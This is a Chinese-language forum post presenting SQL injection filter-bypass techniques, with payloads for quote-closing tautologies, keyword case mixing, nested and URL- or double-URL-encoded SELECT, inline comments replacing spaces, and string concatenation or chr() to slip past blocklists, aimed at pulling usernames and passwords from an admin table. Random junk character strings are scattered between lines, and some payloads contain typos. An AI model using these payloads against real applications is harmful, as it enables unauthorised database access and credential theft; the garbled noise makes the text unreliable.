PHP中SQL注入，绕开过滤，照样注入

admin

SQL注入。有攻有防。知道进攻。才懂得防守.

有的时候，很容易受到SQL注入攻击的程序，可能会进行输入过滤，用来防止攻击者无限制的利用其中存在的设计缺陷。
" w5 m: L2 g* B0 H1 a
( [+ m$ S/ h$ w6 ?% P' |9 C' ?唱出会删除或者净化一些字符，或者阻止常用的sql关键词。

6 |; f- c! S) S/ u* _, n4 c$ f我们通常有以下几种技巧，去避开这些过滤。
4 `( L2 x* \! X8 ?8 g' x1 @) i5 G
2 H& S5 r2 H- F9 P1，避免使用被阻止的字符，即不使用这些字符仍然达到攻击目的。

! l; u0 _2 a. P1 c" D  N8 FA，如果注入一个数字数据字段，就不需要使用单引号。

. }+ h- Y9 B# o  G0 lB，输入注释符号被阻止使用，我们可以设计注入的数据，既不破坏周围的查询语法。
+ U3 C- T. t7 S  @2 J3 q3 n
! a/ b7 Q! t; F1 R) Q4 `. _/ x9 w比如， ?id=1′ 这里存在注入，过滤了注释符合，我们可以输入 ?id=1′ or ‘a’=’a
; j" V. O; i' c8 s  M6 T6 _
7 h% `- M; U# A2 ]目的其实很简单，就是把后面的单引号给闭合掉。

C，在一个MSSQL注入中注入批量查询的时候，不必使用分号分隔符。

只要纠正所有批量查询的语法，无论你是否使用分号，查询的解析器依然能正确的去解释它们的。
( T7 H) Y. b5 Q$ c' G
6 j/ j8 F( w  B/ X" h, H2，避免使用简单确认

一些输入确认机制使用一个简单的黑名单，组织或删除任何出现在这个名单中的数据，比如防注入程序。

这一般要看这个机制是否做的足够的好了，黑名单是否足够能确保安全。如果只是简单的黑名单，那也有机会突破的。
# w9 \7 |& H. n' w4 f9 x! p
A，如果select关键词被阻止或删除

我们可以输入：

SeLeCt       注意大小写
0 q$ J0 w7 `0 W1 z* S$ L& H
+ d7 h0 J2 S* x. |9 Pselselectect    还记得ewebeditor是怎么过滤asp的么？
* K6 H1 q  u8 y7 g) M7 ]
% u$ R# T# B4 _%53%45%4c%45%43%54                        URL编码

0 m" c1 C6 g* u4 h) X/ F1 [4 i%2553%2545%254c%2545%2543%2554    对上面的每个%后加了一个25

: x# A( A! a8 R9 P7 i+ M$ R9 ]8 s3，使用SQL注释符
, R) o4 `; h0 n2 H
A,使用注释来冒充注入的数据中的空格。

select/*yesu*/username,password/*yesu*/from/*yesu*/admin
" O0 m2 C: r  d3 E0 c
/*yesu*/来冒充空格
" ~8 ^4 x  G  u; g! W! x! p6 c
B,使用注释来避开某些注入的确认过滤。

SEL/*yesu*/ECT username,password fr/*yesu*/om admin

4,处理被阻止的字符串

, V5 S4 L# f* E. V+ ?: V比如，程序阻止了admin，因为怕攻击者注入admin表单中的数据。

# a) n* A. H2 C我们可以这样
1 o3 }+ h  _) G
) T) ~/ g5 S3 ^9 s$ FA，oracle数据库： ‘adm’||’in’

B,MSSQL数据库： ‘adm’+’in’

C,MYSQL数据库： concat (‘adm’,’in’)
; K+ l+ _  t% e& M
( |( D0 W- ]1 h' j. j$ |2 v  F( MD,oracle中如果单引号被阻止了，还可以用chr函数
. W; M4 h- N, {. O  a
sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110)

1 \, ?: T+ M0 n/ r/ b还有其他方法。正在收集中.
, d* A9 ~, w1 K/ Q% P# d5 a2 x& C5 L